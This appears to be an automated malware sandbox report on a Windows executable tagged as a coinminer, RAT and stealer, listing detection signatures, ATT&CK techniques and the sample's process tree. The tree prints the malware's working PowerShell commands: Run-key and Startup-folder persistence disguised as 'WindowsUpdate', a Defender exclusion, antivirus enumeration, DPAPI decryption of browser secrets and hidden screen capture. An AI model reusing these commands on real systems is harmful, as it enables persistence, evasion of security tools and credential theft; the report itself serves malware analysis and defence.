Overview

overview

10

Static

static

10

2026-08-08...ch.exe

windows10-2004-x64

9

2026-08-08...ch.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 02:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 6.7MB
  • Sample260808-dfnlms1zds
  • SHA256 db0772dc942fdd85670e5bff47568db5760aad61c123fa691edd44dbbcadeca3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionpersistencespywarestealertrojan

Malware Config

Signatures

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

    Using powershell.exe command.

    execution
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 6 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies system certificate store 2 TTPs 7 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
      2⤵
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force -ErrorAction SilentlyContinue"
      2⤵
      • Adds Run key to start application
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" $Shortcut.WorkingDirectory = \"C:\Users\Admin\AppData\Local\Temp\" $Shortcut.WindowStyle = 7 $Shortcut.IconLocation = \"%SystemRoot%\\System32\\shell32.dll, 14\" $Shortcut.Save "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1036
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:1088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1392
        • C:\Windows\System32\Wbem\WMIC.exe
          "C:\Windows\System32\Wbem\WMIC.exe" /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "ipconfig /all"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /all
          3⤵
          • Gathers network information
          PID:1884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\system32os\" -Force"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath \"C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe\" -WorkingDirectory \"C:\Users\Admin\AppData\Local\Temp\system32os\" -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe
          "C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe" all kaakkak28288nddhhBDAAD8282ksksk
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1568
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            4⤵
              PID:892
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              4⤵
                PID:1644
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5072
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:224
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1280
        • C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
          C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
          1⤵
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:3952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3200
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Force -ErrorAction SilentlyContinue"
            2⤵
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path \"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"WindowsUpdate\" -Value \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" -PropertyType String -Force -ErrorAction SilentlyContinue"
            2⤵
            • Adds Run key to start application
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2648
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-08-08_aca857e5d6f9b87f4b64127e895714cf_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe\" $Shortcut.WorkingDirectory = \"C:\Users\Admin\AppData\Local\Temp\" $Shortcut.WindowStyle = 7 $Shortcut.IconLocation = \"%SystemRoot%\\System32\\shell32.dll, 14\" $Shortcut.Save "
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:532
          • C:\Windows\system32\net.exe
            net session
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3708
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              3⤵
                PID:2624
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:676
              • C:\Windows\System32\Wbem\WMIC.exe
                "C:\Windows\System32\Wbem\WMIC.exe" /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:944
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "ipconfig /all"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1276
              • C:\Windows\system32\ipconfig.exe
                "C:\Windows\system32\ipconfig.exe" /all
                3⤵
                • Gathers network information
                PID:4668
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\system32os\" -Force"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:400
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -FilePath \"C:\Users\Admin\AppData\Local\Temp\system32os\RuntimeBroker.exe\" -WorkingDirectory \"C:\Users\Admin\AppData\Local\Temp\system32os\" -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1632
              • C:\Users\Admin\AppData\Local\Temp\system32os\RuntimeBroker.exe
                "C:\Users\Admin\AppData\Local\Temp\system32os\RuntimeBroker.exe" all kaakkak28288nddhhBDAAD8282ksksk
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2736
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  4⤵
                    PID:4244
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    4⤵
                      PID:4792
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4092
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2392
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2084
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect( [Convert]::FromBase64String(\"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=\"),$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:3528
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4988
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:5036
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:2764
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:3788
                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                      1⤵
                        PID:4004

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Defense Evasion

                            Hide Artifacts

                            1
                            T1564

                            Ignore Process Interrupts

                            1
                            T1564.011

                            Modify Registry

                            2
                            T1112

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Subvert Trust Controls

                            2
                            T1553

                            Install Root Certificate

                            2
                            T1553.004

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            System Information Discovery

                            1
                            T1082

                            System Network Configuration Discovery

                            1
                            T1016

                            Internet Connection Discovery

                            1
                            T1016.001

                            Lateral Movement

                            Collection

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            powershell.exe.log
                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            • Size 2KB
                            • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 493B
                            • SHA256 a234dcf3d2e27f67f447d9ffdd73e42a54a6f7a39ec58e0b4b639bc857daedd9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 1cbe9467fe9a037d4c8b28ce4889b3dd3217841c417bb4f0a8d7b704200a6d4d
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
